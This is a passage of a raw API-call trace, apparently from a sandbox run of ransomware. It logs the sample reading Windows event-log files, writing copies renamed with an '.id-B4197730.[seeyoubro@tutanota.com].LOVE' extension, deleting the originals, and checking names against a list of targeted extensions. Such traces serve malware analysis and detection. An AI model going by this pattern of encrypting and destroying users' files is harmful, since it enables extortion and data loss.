lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x154, lpOverlapped=0x0) returned 1 [0203.928] SetEndOfFile (hFile=0x358) returned 1 [0203.928] CloseHandle (hObject=0x358) returned 1 [0203.931] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.931] SetEndOfFile (hFile=0x320) returned 1 [0203.931] CloseHandle (hObject=0x320) returned 1 [0203.931] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0203.932] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx")) returned 1 [0203.932] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0203.932] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0203.932] lstrlenW (lpString=".doc") returned 4 [0203.932] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0203.932] lstrlenW (lpString=".docx") returned 5 [0203.932] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0203.932] lstrlenW (lpString=".pdf") returned 4 [0203.932] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0203.932] lstrlenW (lpString=".xls") returned 4 [0203.932] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0203.932] lstrlenW (lpString=".xlsx") returned 5 [0203.932] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0203.932] lstrlenW (lpString=".ppt") returned 4 [0203.932] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0203.932] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0203.932] lstrlenW (lpString=".zip") returned 4 [0203.932] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0203.932] lstrlenW (lpString=".rar") returned 4 [0203.932] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0203.932] lstrlenW (lpString=".bz2") returned 4 [0203.932] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0203.933] lstrlenW (lpString=".7z") returned 3 [0203.933] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0203.933] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0203.933] lstrlenW (lpString=".dbf") returned 4 [0203.933] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0203.933] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0203.933] lstrlenW (lpString=".1cd") returned 4 [0203.933] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0203.933] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0203.933] lstrlenW (lpString=".jpg") returned 4 [0203.933] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0203.933] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0203.933] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0203.933] lstrlenW (lpString=".doc") returned 4 [0203.933] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0203.933] lstrlenW (lpString=".docx") returned 5 [0203.933] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0203.933] lstrlenW (lpString=".pdf") returned 4 [0203.933] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0203.933] lstrlenW (lpString=".xls") returned 4 [0203.933] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0203.933] lstrlenW (lpString=".xlsx") returned 5 [0203.934] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0203.934] lstrlenW (lpString=".ppt") returned 4 [0203.934] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0203.934] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0203.934] lstrlenW (lpString=".zip") returned 4 [0203.934] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0203.934] lstrlenW (lpString=".rar") returned 4 [0203.934] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0203.934] lstrlenW (lpString=".bz2") returned 4 [0203.934] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0203.934] lstrlenW (lpString=".7z") returned 3 [0203.934] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0203.934] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0203.934] lstrlenW (lpString=".dbf") returned 4 [0203.934] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0203.934] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0203.934] lstrlenW (lpString=".1cd") returned 4 [0203.934] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0203.934] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0203.934] lstrlenW (lpString=".jpg") returned 4 [0203.934] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0203.934] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0203.934] lstrlenW (lpString="Microsoft-Windows-Bits-Client%4Operational.evtx") returned 47 [0203.934] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0203.935] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=69632) returned 1 [0203.935] CloseHandle (hObject=0x320) returned 1 [0203.935] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx")) returned 0x20 [0203.935] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0203.935] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0203.935] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.935] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.935] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0203.936] GetLastError () returned 0x0 [0203.936] ReadFile (in: hFile=0x320, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x11000, lpOverlapped=0x0) returned 1 [0203.950] WriteFile (in: hFile=0x358, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x11010, lpOverlapped=0x0) returned 1 [0203.952] ReadFile (in: hFile=0x320, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0203.952] WriteFile (in: hFile=0x358, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x132, lpOverlapped=0x0) returned 1 [0203.952] SetEndOfFile (hFile=0x358) returned 1 [0203.952] CloseHandle (hObject=0x358) returned 1 [0203.965] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.965] SetEndOfFile (hFile=0x320) returned 1 [0203.967] CloseHandle (hObject=0x320) returned 1 [0203.967] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0203.968] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx")) returned 1 [0203.968] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0203.968] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0203.968] lstrlenW (lpString=".doc") returned 4 [0203.968] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0203.968] lstrlenW (lpString=".docx") returned 5 [0203.968] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0203.968] lstrlenW (lpString=".pdf") returned 4 [0203.968] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0203.968] lstrlenW (lpString=".xls") returned 4 [0203.968] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0203.968] lstrlenW (lpString=".xlsx") returned 5 [0203.968] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0203.968] lstrlenW (lpString=".ppt") returned 4 [0203.968] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0203.968] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0203.968] lstrlenW (lpString=".zip") returned 4 [0203.968] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0203.968] lstrlenW (lpString=".rar") returned 4 [0203.968] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0203.968] lstrlenW (lpString=".bz2") returned 4 [0203.968] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0203.968] lstrlenW (lpString=".7z") returned 3 [0203.969] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0203.969] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0203.969] lstrlenW (lpString=".dbf") returned 4 [0203.969] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0203.969] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0203.969] lstrlenW (lpString=".1cd") returned 4 [0203.969] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0203.969] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0203.969] lstrlenW (lpString=".jpg") returned 4 [0203.969] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0203.969] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0203.969] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0203.969] lstrlenW (lpString=".doc") returned 4 [0203.969] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0203.969] lstrlenW (lpString=".docx") returned 5 [0203.969] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0203.969] lstrlenW (lpString=".pdf") returned 4 [0203.969] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0203.969] lstrlenW (lpString=".xls") returned 4 [0203.969] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0203.969] lstrlenW (lpString=".xlsx") returned 5 [0203.969] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0203.969] lstrlenW (lpString=".ppt") returned 4 [0203.969] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0203.969] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0203.969] lstrlenW (lpString=".zip") returned 4 [0203.969] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0203.969] lstrlenW (lpString=".rar") returned 4 [0203.970] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0203.970] lstrlenW (lpString=".bz2") returned 4 [0203.970] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0203.970] lstrlenW (lpString=".7z") returned 3 [0203.970] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0203.970] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0203.970] lstrlenW (lpString=".dbf") returned 4 [0203.970] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0203.970] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0203.970] lstrlenW (lpString=".1cd") returned 4 [0203.970] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0203.970] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0203.970] lstrlenW (lpString=".jpg") returned 4 [0203.970] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0203.970] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0203.970] lstrlenW (lpString="Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 49 [0203.970] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0203.970] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=69632) returned 1 [0203.970] CloseHandle (hObject=0x320) returned 1 [0203.971] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx")) returned 0x20 [0203.971] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0203.971] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0203.971] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.971] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.971] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0203.971] GetLastError () returned 0x0 [0203.971] ReadFile (in: hFile=0x320, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x11000, lpOverlapped=0x0) returned 1 [0204.355] WriteFile (in: hFile=0x358, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x11010, lpOverlapped=0x0) returned 1 [0204.357] ReadFile (in: hFile=0x320, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0204.357] WriteFile (in: hFile=0x358, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x136, lpOverlapped=0x0) returned 1 [0204.357] SetEndOfFile (hFile=0x358) returned 1 [0204.359] CloseHandle (hObject=0x358) returned 1 [0204.361] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.361] SetEndOfFile (hFile=0x320) returned 1 [0204.361] CloseHandle (hObject=0x320) returned 1 [0204.361] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0204.362] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx")) returned 1 [0204.362] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0204.362] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0204.362] lstrlenW (lpString=".doc") returned 4 [0204.362] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0204.362] lstrlenW (lpString=".docx") returned 5 [0204.362] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0204.362] lstrlenW (lpString=".pdf") returned 4 [0204.362] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0204.362] lstrlenW (lpString=".xls") returned 4 [0204.362] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0204.362] lstrlenW (lpString=".xlsx") returned 5 [0204.362] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0204.362] lstrlenW (lpString=".ppt") returned 4 [0204.362] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0204.362] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0204.362] lstrlenW (lpString=".zip") returned 4 [0204.362] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0204.363] lstrlenW (lpString=".rar") returned 4 [0204.363] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0204.363] lstrlenW (lpString=".bz2") returned 4 [0204.363] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0204.363] lstrlenW (lpString=".7z") returned 3 [0204.363] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0204.363] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0204.363] lstrlenW (lpString=".dbf") returned 4 [0204.363] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0204.363] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0204.363] lstrlenW (lpString=".1cd") returned 4 [0204.363] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0204.363] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0204.363] lstrlenW (lpString=".jpg") returned 4 [0204.363] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0204.363] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0204.363] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0204.363] lstrlenW (lpString=".doc") returned 4 [0204.363] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0204.363] lstrlenW (lpString=".docx") returned 5 [0204.363] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0204.363] lstrlenW (lpString=".pdf") returned 4 [0204.363] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0204.363] lstrlenW (lpString=".xls") returned 4 [0204.363] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0204.363] lstrlenW (lpString=".xlsx") returned 5 [0204.363] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0204.363] lstrlenW (lpString=".ppt") returned 4 [0204.364] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0204.364] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0204.364] lstrlenW (lpString=".zip") returned 4 [0204.364] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0204.364] lstrlenW (lpString=".rar") returned 4 [0204.364] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0204.364] lstrlenW (lpString=".bz2") returned 4 [0204.364] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0204.364] lstrlenW (lpString=".7z") returned 3 [0204.364] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0204.364] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0204.364] lstrlenW (lpString=".dbf") returned 4 [0204.364] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0204.364] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0204.364] lstrlenW (lpString=".1cd") returned 4 [0204.364] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0204.364] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0204.364] lstrlenW (lpString=".jpg") returned 4 [0204.364] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0204.364] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0204.364] lstrlenW (lpString="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 48 [0204.364] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0204.365] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=69632) returned 1 [0204.365] CloseHandle (hObject=0x320) returned 1 [0204.365] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx")) returned 0x20 [0204.365] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0204.365] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0204.366] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.366] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.366] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0204.366] GetLastError () returned 0x0 [0204.366] ReadFile (in: hFile=0x320, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x11000, lpOverlapped=0x0) returned 1 [0204.379] WriteFile (in: hFile=0x358, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x11010, lpOverlapped=0x0) returned 1 [0204.381] ReadFile (in: hFile=0x320, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0204.381] WriteFile (in: hFile=0x358, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x134, lpOverlapped=0x0) returned 1 [0204.381] SetEndOfFile (hFile=0x358) returned 1 [0204.382] CloseHandle (hObject=0x358) returned 1 [0204.385] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.385] SetEndOfFile (hFile=0x320) returned 1 [0204.387] CloseHandle (hObject=0x320) returned 1 [0204.387] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0204.387] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx")) returned 1 [0204.387] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0204.387] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0204.387] lstrlenW (lpString=".doc") returned 4 [0204.387] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0204.387] lstrlenW (lpString=".docx") returned 5 [0204.387] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0204.387] lstrlenW (lpString=".pdf") returned 4 [0204.388] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0204.388] lstrlenW (lpString=".xls") returned 4 [0204.388] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0204.388] lstrlenW (lpString=".xlsx") returned 5 [0204.388] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0204.388] lstrlenW 